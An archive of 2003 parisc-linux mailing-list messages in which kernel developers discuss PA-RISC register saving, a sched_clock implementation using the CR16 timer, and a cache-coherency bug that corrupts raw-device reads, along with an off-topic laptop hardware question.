	by dsl2.external.hp.com (Postfix) with ESMTP id 33AD6483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 14:10:49 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8JKAlYP004034;
	Fri, 19 Sep 2003 16:10:48 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8JKAlHs004032;
	Fri, 19 Sep 2003 16:10:47 -0400 (EDT)
In-Reply-To: <20030919192813.GL18225@systemhalted> from "Carlos O'Donell" at Sep 19, 2003 03:28:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19549

> If it were major we would have fixed it :)
> I'm trying to find the "missed a restore" point.

0x4019063c:     stw r19,-20(sr0,sp)             # 2742

Just a note, GCC saves r19 in the frame marker in the prologue of
non-leaf functions but we never attempt to restore r19 from the frame
marker.  This is the mandated ABI behavior.  At the moment, GCC copies
r19 to r4 for the save.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Martin <inkubus@interalpha.co.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OT:Problems with hardware - RDI Precision Book
Date: 20 Sep 2003 16:34:05 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <1064072046.1602.62.camel@raphael>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622789 31063 80.91.229.3 (22 Nov 2014 02:19:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 20 09:37:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailhost1.mistral.co.uk (mailhost1.mistral.co.uk [217.154.131.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7204E48A2
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Sep 2003 09:37:13 -0600 (MDT)
Original-Received: from localhost.localdomain (dsl-217-155-82-142.zen.co.uk [217.155.82.142])
	by mailhost1.mistral.co.uk (Postfix) with ESMTP id 2A27A79F9A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Sep 2003 16:37:12 +0100 (BST)
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19550

Sorry, I know this is OT but I have a feeling if I'm going to find
anyone who can help it may well be here.

Bought an RDI precision book a while back and was just about to put
Linux on it.  Pressed the power button and the 'power', 'network' and
'disk' icons light up on the LCD panel but nothing else happens.  Have
tried with other disks, network cable, external monitor and external
scsi and it still does nothing.

Does anyone have any suggestions?  I really need a working laptop and am
getting more than a little frustrated...

Cheers,
 - Martin

-- 
Martin
inkubus@interalpha.co.uk
"Seasons change, things come to pass"



From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Sat, 20 Sep 2003 18:02:10 +0000
Lines: 53
Approved: news@gmane.org
Message-ID: <3F6C9622.60402@tiscali.be>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk> <3F6B2199.8050402@tiscali.be> <20030919160035.GG18225@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622789 31066 80.91.229.3 (22 Nov 2014 02:19:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:49 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 20 12:02:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BBF0483E
	for <parisc-linux@parisc-linux.org>; Sat, 20 Sep 2003 12:02:18 -0600 (MDT)
Original-Received: from [62.235.120.117] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 1A0m3i-0008TM-00; Sat, 20 Sep 2003 20:02:14 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030908 Debian/1.4-4
X-Accept-Language: en
In-Reply-To: <20030919160035.GG18225@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19551

Carlos O'Donell wrote:

>On Fri, Sep 19, 2003 at 03:32:41PM +0000, Joel Soete wrote:
>  
>
>>Matthew Wilcox wrote:
>>
>>    
>>
>>>Anyone want to do better than the lame implementation?  ;-)
>>>
>>>----- Forwarded message from Andrew Morton <akpm@osdl.org> -----
>>>
>>>I'll be merging Ingo & Con's CPOU scheduler changes into Linus's tree soon.
>>>
>>>It does require that the architecture provides a new timing function:
>>>
>>>A lame implementation is:
>>>
>>>/*
>>>* Returns nanoseconds
>>>*/
>>>
>>>
>>>      
>>>
>>Hi Willy,
>>
>>(Certainly yet another stupid question but) to reach such accuracy we 
>>would need to have access to some 'time device' with an accuracy better 
>>then the nanosec (iirc 10^-9) (because it doesn't seems to me possible 
>>to get enough accuracy with cpu clock < 10^9 ie 1Ghz: the most case for 
>>parisc systems). Does it exist such device and where to start to read 
>>some doc?
>>    
>>
>
>We could use cr16 to get better accuracy. See list discussions about
>fast gettimeofday.
>
>c.
>
Hi all,

a quick look into paxx.pdf which about CR16 speak of "peak instruction 
rate" but do not define anywhere?
I presume that is the cpu clock but would like somebody confirm.

Thanks in advance,
    Joel




From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with raw interface.
Date: Sat, 20 Sep 2003 17:46:05 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20030920234605.GB31268@dsl2.external.hp.com>
References: <A11077E28200D51182EA00D0B775525309A2AA44@xin02.india.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622789 31068 80.91.229.3 (22 Nov 2014 02:19:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "SUDARSANAN,RANJITH (HP-India,ex2)" <ranjith_sudarsanan@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 20 17:46:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2D1E9483E; Sat, 20 Sep 2003 17:46:05 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <A11077E28200D51182EA00D0B775525309A2AA44@xin02.india.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19552

On Fri, Sep 19, 2003 at 06:07:41PM +0530, SUDARSANAN,RANJITH (HP-India,ex2) wrote:
> >>>>What does "dd if=/dev/raw/raw2 of=/tmp/o_raw2 bs=512 count=8" result in?
> This command reads the first 4K bytes of the disk and writes it to file
> o_raw2. 

Ah yes, but is the data correct?
I'll assume not since your attempt with /dev/raw/raw1 also failed.

Basically something looks broken in parisc for raw devices.
I was clearly able to reproduce this failure.

grant


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Sat, 20 Sep 2003 18:04:47 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <20030921000447.GC31268@dsl2.external.hp.com>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk> <3F6B2199.8050402@tiscali.be> <20030919160035.GG18225@systemhalted> <3F6C9622.60402@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622790 31327 80.91.229.3 (22 Nov 2014 02:19:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:50 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 20 18:04:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id BDD7D483E; Sat, 20 Sep 2003 18:04:47 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F6C9622.60402@tiscali.be>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19553

On Sat, Sep 20, 2003 at 06:02:10PM +0000, Joel Soete wrote:
> a quick look into paxx.pdf which about CR16 speak of "peak instruction 
> rate" but do not define anywhere?
> I presume that is the cpu clock but would like somebody confirm.

Read about "Interval Timer" (cr16) in the PA 2.0 Arch book.
PDC provides the exact rate that CR16 is changing.
Looks like PDC_TOD_ITIMER is the call but I'm not sure offhand.
In any case, I've only seen it used as CPU cycle counter.
(ie 1:1 with CPU clock).

hth,
grant


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: [parisc-linux] Problems with raw interface.]
Date: Sat, 20 Sep 2003 18:27:33 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030921002733.GE31268@dsl2.external.hp.com>
References: <1063919293.16536.2.camel@dhcp23.swansea.linux.org.uk> <1063989244.2834.48.camel@sisko.scot.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622790 31328 80.91.229.3 (22 Nov 2014 02:19:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:50 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Ranjith Sudarsanan <ranjith_sudarsanan@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: "Stephen C. Tweedie" <sct@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 20 18:27:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5CB7E483E; Sat, 20 Sep 2003 18:27:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1063989244.2834.48.camel@sisko.scot.redhat.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19554

On Fri, Sep 19, 2003 at 05:34:04PM +0100, Stephen C. Tweedie wrote:
> > > But when I use the raw interface I get garbage. For instance please
> > > look at the output below. I am reading the 1st sector of the disk,
> > > which is the boot sector, When I use the block device /dev/sda I get
> > > my expected output, whereas when I use the raw interface I get
> > > garbage. Can any one explain? The machine I am using is an L Class. 
> 
> Do you _ever_ get valid output, or is raw always failing?  There may
> well be a cache coherency point being missed.

I was able to consistently reproduce this problem on a c3000 (400Mhz
PA8500). That's running 2.4.22 kernel.

> The key places are rw_raw_dev(), where we set up the virtual address to
> physical page mappings, and brw_kiovec(), where the actual physical page
> IO is done.

ok - I should try again with 2.6 kernel and look again.
But I'm certainly no vm/cache expert.

grant


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: [parisc-linux] Problems with raw interface.]
Date: Sat, 20 Sep 2003 23:35:55 -0600
Lines: 77
Approved: news@gmane.org
Message-ID: <20030921053555.GA5312@dsl2.external.hp.com>
References: <1063919293.16536.2.camel@dhcp23.swansea.linux.org.uk> <1063989244.2834.48.camel@sisko.scot.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622790 31330 80.91.229.3 (22 Nov 2014 02:19:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:50 +0000 (UTC)
Cc: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Ranjith Sudarsanan <ranjith_sudarsanan@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: "Stephen C. Tweedie" <sct@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep 20 23:35:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2DE74483E; Sat, 20 Sep 2003 23:35:55 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1063989244.2834.48.camel@sisko.scot.redhat.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19555

On Fri, Sep 19, 2003 at 05:34:04PM +0100, Stephen C. Tweedie wrote:
> Do you _ever_ get valid output, or is raw always failing?
> There may well be a cache coherency point being missed.

2.6.0-test5 (-pa9) produced incorrect output 3 for 3.
But it's NOT identical for all three runs.
I think you are correct.

BTW, kernel and user space will alias to different cachelines
for the same 32-bit "offset" because of "Space Registers"
(form of segmented addressing).

I grabbed 128k data off the beginning of the disk.
Reading 8 blocks from raw1 was only showing all zeros.

I'll guess 2.4.22 has same bug since beginning out "output"
was also all zero's. Getting longer runs from 2.4.22
would be useful...something for tomorrow or monday.

I used:
  ion:/tmp# dd if=/dev/sda of=/tmp/sda.block1 count=512
and
  ion:/tmp# dd if=/dev/raw/raw1 of=/tmp/sda.raw1 count=512

grundler@ion:/tmp$ cksum *
1803524181 262144 sda.block1
1803524181 262144 sda.block2
1803524181 262144 sda.block3
3975907619 262144 sda.raw1
3975907619 262144 sda.raw2
2757932476 262144 sda.raw3

/ is on /dev/sdh

Output files are on ftp://gsyprf10.external.hp.com/pub/raw-pa9/

I just added 2MB files (2MB since 1.5MB dcache) which show more
of the same.

od -Ax -tx /tmp/sda.raw3 | less
000000 00000000 00000000 00000000 00000000
*
02b290 30000000 70000000 00000000 00000500
02b2a0 56000000 18000100 2d000000 00000100
02b2b0 fa040f98 0127c101 082c1698 0127c101
02b2c0 00000000 00000000 00000000 00000000
*
02b490 30000000 70000000 00000000 00000500
02b4a0 56000000 18000100 2d000000 00000100
02b4b0 fa040f98 0127c101 082c1698 0127c101
02b4c0 00000000 00000000 00000000 00000000
*
...

I think sda contains random data from a previous life in a test environment.

ion:/tmp# od -Ax -tx /tmp/sda.block1 | less
000000 33c08ed0 bc007cfb 5007501f fcbe1b7c
000010 bf1b0650 57b9e501 f3a4cbbd be07b104
000020 386e007c 09751383 c510e2f4 cd188bf5
000030 83c61049 7419382c 74f6a0b5 07b4078b
000040 f0ac3c00 74fcbb07 00b40ecd 10ebf288
000050 4e10e846 00732afe 4610807e 040b740b
000060 807e040c 7405a0b6 0775d280 46020683
...


> The key places are rw_raw_dev(), where we set up the virtual address to
> physical page mappings, and brw_kiovec(), where the actual physical page
> IO is done.

I can look, but willy or jejb have much better chance of finding
something...

cheers,
grant


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sched_clock implementation
Date: Sun, 21 Sep 2003 13:20:36 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <200309211320.36485.deller@gmx.de>
References: <20030918203510.GD21596@parcelfarce.linux.theplanet.co.uk> <3F6C9622.60402@tiscali.be> <20030921000447.GC31268@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622791 31333 80.91.229.3 (22 Nov 2014 02:19:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:51 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 05:22:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 7D52E483E
	for <parisc-linux@parisc-linux.org>; Sun, 21 Sep 2003 05:22:31 -0600 (MDT)
Original-Received: (qmail 4279 invoked by uid 65534); 21 Sep 2003 11:22:25 -0000
Original-Received: from pD9040252.dip.t-dialin.net (EHLO p100) (217.4.2.82)
  by mail.gmx.net (mp007) with SMTP; 21 Sep 2003 13:22:25 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.5.9
In-Reply-To: <20030921000447.GC31268@dsl2.external.hp.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19556

On Sunday 21 September 2003 02:04, Grant Grundler wrote:
> On Sat, Sep 20, 2003 at 06:02:10PM +0000, Joel Soete wrote:
> > a quick look into paxx.pdf which about CR16 speak of "peak instruction
> > rate" but do not define anywhere?
> > I presume that is the cpu clock but would like somebody confirm.
>
> Read about "Interval Timer" (cr16) in the PA 2.0 Arch book.
> PDC provides the exact rate that CR16 is changing.
> Looks like PDC_TOD_ITIMER is the call but I'm not sure offhand.
> In any case, I've only seen it used as CPU cycle counter.
> (ie 1:1 with CPU clock).

Hi Joel,

I think we have the rate in the variable "boot_cpu_data.cpu_hz" (see 
arch/parisc/kernel/processor.c) already.

Helge


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: [parisc-linux] Problems with raw interface.]
Date: Sun, 21 Sep 2003 15:25:04 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20030921142504.GD13172@parcelfarce.linux.theplanet.co.uk>
References: <1063919293.16536.2.camel@dhcp23.swansea.linux.org.uk> <1063989244.2834.48.camel@sisko.scot.redhat.com> <20030921053555.GA5312@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622791 31334 80.91.229.3 (22 Nov 2014 02:19:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:51 +0000 (UTC)
Cc: "Stephen C. Tweedie" <sct@redhat.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Ranjith Sudarsanan <ranjith_sudarsanan@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Sep 21 08:25:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F38AF484E
	for <parisc-linux@lists.parisc-linux.org>; Sun, 21 Sep 2003 08:25:07 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1A1596-0004cE-6p; Sun, 21 Sep 2003 15:25:04 +0100
Content-Disposition: inline
In-Reply-To: <20030921053555.GA5312@dsl2.external.hp.com>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19557

On Sat, Sep 20, 2003 at 11:35:55PM -0600, Grant Grundler wrote:
> BTW, kernel and user space will alias to different cachelines
> for the same 32-bit "offset" because of "Space Registers"
> (form of segmented addressing).

Rubbish, they alias to the same cachelines because of the 4MB get-out
clause.  What you may have meant is that the same page accessed through
user and kernel mappings will alias to different cachelines because
their addresses *aren't* congruent modulo 4MB.

> > The key places are rw_raw_dev(), where we set up the virtual address to
> > physical page mappings, and brw_kiovec(), where the actual physical page
> > IO is done.
> 
